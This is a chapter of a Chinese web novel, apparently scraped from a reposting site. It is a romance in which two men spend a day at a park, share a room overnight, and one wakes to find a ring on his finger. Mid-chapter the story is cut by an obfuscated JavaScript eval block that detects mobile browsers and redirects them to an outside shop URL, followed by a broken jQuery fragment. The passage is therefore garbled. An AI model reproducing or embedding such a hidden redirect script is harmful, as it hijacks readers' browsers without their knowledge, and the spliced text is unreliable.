下山之后,吃过午饭,他们开往当地最大的一片生态林,看似不合理的高价门票阻挡了许许多多游客,没曾想景区内风景如画,美若桃花源。
水杉沿湖成片地排列,天窗大开,江霁宁就这样睡在了傅聿则怀里。
午休醒来后,两人就开始喂天鹅。
“这回的鹅很肥。”
江霁宁一块一块丢面包,转头对傅聿则说:“比你家中的鲤鱼可爱多了。”
“喂了鹅就不许撑死我的鱼了。”
傅聿则不遑多让。
两个人打打闹闹了一会儿。江霁宁和傅聿则去垂钓的鱼湖比赛,各执一杆,时间一到,他一眼看出自己扑腾的数条鱼,喜不自胜。
“愿赌服输!”
“厉害。”傅聿则拿走他头顶蹭到的小草根,“输给你了。”
惩罚是傅聿则一个人去租赁烧烤器材、清洗设备、处理食材,又时不时瞧一眼远处还在执杆奋战的江霁宁,选了几条他亲自钓上来的鱼。
不是很难分辨。
江霁宁是以绝对数量取胜的。
他的鱼不知为何都小小的,一钓一个准,混在傅聿则放进去的大鱼里格外显眼,细细被处理完腌制起来。
落日黄昏,二人一桌两椅,共赏余晖佳肴。
今日天黑得很快,一不小心就容易玩过头了,因此大别墅外一辆纯黑色的SUV停下许久。
“大家都在院子里?”江霁宁趴在车窗对侦查回来的傅聿则发问,得到肯定的答案,下了车,对他说:“你隔久一些再进来。”
傅聿则脾气是没有的,“路黑别踩到石头。”
“知道啦。”
江霁宁脚步轻快走了。
傅聿则看着他远去,弯腰坐回车内,长腿分开,仰头小憩整整等了三十分钟后。
掌心震动。
小猫:「快回来。」
傅聿则关上手机,十分有规矩地走起了流程,按了门铃,很快有人过来给他开。
院子里众人还在聚。
看到他第一眼都热情打招呼。
纪欢也问他:“怎么先把阿宁送回来了?”
“碰到熟人多喝了一杯,怕影响他早睡。”傅聿则自发帮忙小男友善后,“我先上去了。”
“拜拜~”
众人集体目送他背影。
现成的新话题来了,员工们和纪欢聊起傅聿则,开开玩笑问他的恋爱状况。
“好事将近。”
纪欢笑笑也不多说,“我先撤,今天玩了一天了,早点休息。”
于是众人也陆陆续续回到房间。
江霁宁更甚,早早回屋就打起了哈欠,撑着困意洗完了澡,头发吹到一半差点睡着。
“咚咚……”
江霁宁放下吹风机。
拉开房门后心想果然如此,正色道:“你这是做什么?”
“来睡觉。”傅聿则直接带上门。
“你——”
江霁宁见他真进来了,眼底闪过一丝淡淡的惊讶。
“洗完澡了。”傅聿则勾起带来的U形枕,扯过沙发上江霁宁午休盖过的毯子,手里东西都往地毯上一扔,偏头示意,“我睡在这里。”
底线一破再破。
江霁宁简直都不知道说什么好了,“你为何不在自己那儿睡?”
“不习惯和陌生人睡一栋楼。”
傅聿则说的是心里话,又道:“我也可以现在去外面找酒店住,你陪我吗?”
夜宿私会!
这也太恬不知耻了。
江霁宁眼中生出几分难以置信,“……不可以。”
傅聿则意识到话有歧义,说:“两间房。”
“……罢了。”江霁宁实在不想大半夜出去,纠结过后转身,“那、你就在地上睡好了。”
傅聿则走去拿下他的吹风机,“我来。”
江霁宁双手落在桌前,手指紧张地挠了挠,发间的力道轻柔……十分难以启齿的是,他总感觉好似摸在了自己身子上。
心中越来越难耐。
一抬眼看镜中的傅聿则,认真又平静。
江霁宁:“……”
你能不能不要在我屋子里睡?
这句话带有几分嫌弃,他终究没说出口,慢慢趴在桌子上任人宰割。
傅聿则为他梳发,见人瘫软在了桌子上,拍了拍他屁股,“好了,去床上睡。”
江霁宁浑身一僵,满眼震惊看向他:“你怎么能打我……”
那两个字他都不好意思说。
“打回来。”傅聿则说。
江霁宁才不理他,看他如凶猛虎狼一般,立刻退后几步,脱了鞋子爬上床钻进被窝,翻身躺下,闷闷说了一句:“……我要睡了。”
“好。”
傅聿则自顾自给自己整理铺盖,抬手将房间内灯调到睡眠模式,又关心江霁宁的习惯:“要不要全关掉?”
不远处飘来一声轻轻的“嗯”。
全屋一键休眠。
躺下时耳边都有对方清浅的呼吸声。
大约过了五分钟,就近的床上传来窸窸窣窣的声音。
借着月光。
傅聿则抓到一只探出脑袋的小猫。
江霁宁窝在被子里,神色纠结,只露出一双漂亮到摄人心魄的眼睛,小声问他:“……你没有褥子冷不冷?”
傅聿则心脏暖融融的。
可等他坐了起来,江霁宁便慌乱往被子里钻,并说着:“你不许上来。”
“好的。”
傅聿则本来就没打算上去。
江霁宁的羞涩可爱超乎想象,他借蓝白调的月光欣赏几秒,将沙发上两个抱枕拆成毯子。
江霁宁就这样看着他变戏法,侧了侧身将脸颊压入枕中,看傅聿则躺下给自己盖了两层小被子。
“哼……”
江霁宁忍不住发出笑声。
反正不会被教训,他被抓包了也不躲不藏,缩在被子里眼睛眨巴两下。
这人非要这样给自己找麻烦吗?
是的。
傅聿则一手枕在脑后,另外一只手抬起隔着被子碰江霁宁,“还笑。”
江霁宁又笑。
就在傅聿则准备入睡时——手心手背感受到温热触感,一只柔软细腻的手慢慢攀上他骨节,寻到手指,轻轻嵌合进他的大掌。
傅聿则眼帘未抬,回握住,指尖与那动作小心翼翼的手指打转。
江霁宁:“……”
“偷偷摸我。”傅聿则控诉他。
江霁宁有一点点心虚,闷着声音说:“你怎么还没有睡啊。”
傅聿则握紧他的手宣判:“现在睡。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998930|193929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江霁宁:“嗯。”
但他有些睡不着。
不太习惯和人睡一个屋子。
整整一个白天傅聿则和他蜜里调油,夜里又躺在他身边……太考验心里承受能力了。
江霁宁担心傅聿则上榻,想的是两人牵个手,把人锁住了,夜里有什么动静他能第一时间清醒,虽然这么说好像不好。
他也不是不相信傅聿则的为人。
只是……
江霁宁另一只被子下的手正好贴着小腹,眼睛眨了眨,一个人开始犯愁。
万一呢?
他们怎么能共睡一张榻?
若是他有了孩子,八成会是个女儿,坊间都说小姑娘随父亲样貌较多……傅聿则生得这样好,闺女儿该是怎样的俏模样?
这样想着……
江霁宁抵不住困意沉入梦乡。
半梦半醒之间,两人握紧的手松开了几分,一抹微凉爬上指尖,等他想要探寻,却又被滚烫的掌心温度覆盖住。
一觉睡到大天亮。
阳光稀稀落落洒在床脚,窗外绿景盎然,天然的鸟鸣闹铃清脆悦耳。
“嗡……嗡……”
手表提示音响了。
江霁宁撑坐了起来,挡住正好落在睫毛的阳光,拿起一划查看消息。
边嘉呈发来了两架飞机emoji:「期不期待我回来?」
发其他的太麻烦了。
江霁宁随手回了一句:「嗯。」
那头边嘉呈瞬间和打了鸡血似的秒回:「已经在飞机上了(墨镜.jpg)」
江霁宁没太当真,将手表放在被子上。
房间内很安静。
除了他以外空无一人。
沙发上的抱枕整齐排列、地毯也收拾得干干净净。
傅聿则总喜欢善后到不留痕迹。
江霁宁却清楚知道昨晚不是做梦,笑了笑,掀开被子下床时,眼睛又被一晃。
他慢慢抬起了手。
江霁宁望着无名指突然出现的物什——单枚纯净到极致的青蓝色宝石,似上古神话中的人鱼之泪,耀眼处于戒圈漩涡中心,圈沿是复古的镂空设计,别出心裁。
无论光线明暗。
都是令人移不开眼的美丽。
江霁宁几乎无法思考,这颗钻石和他曾经见过的广告上那枚帕拉伊巴如出一辙。
甚至有过之而不及。
为何会出现在他手上?
难道是傅聿则趁他睡着时戴上的吗?
比惊喜先涌上心头的,是惶恐,江霁宁没有任何犹豫摘了下来。
“咔——”
门正好开锁。
傅聿则把江霁宁摘戒指的动作尽收眼底,走近后,坐下拉他的手:“我以为你会喜欢。”
毕竟上次看嫂子的戒指那么久。
他送给江霁宁的首饰里,不少也都镶嵌了金和宝石翡翠,价值与这枚戒指相当的也有。
江霁宁并不正面回答,轻轻挣脱开了他的手,将戒指原原本本还了回去。
“……我不可以要。”
傅聿则把人捞到身边,低头问:“给我一个拒绝的理由。”
他怎么可以要!
江霁宁脑子无比清晰。
他心想戒指的含义和其他首饰不一样,他们就不可以好好的谈一场恋爱吗?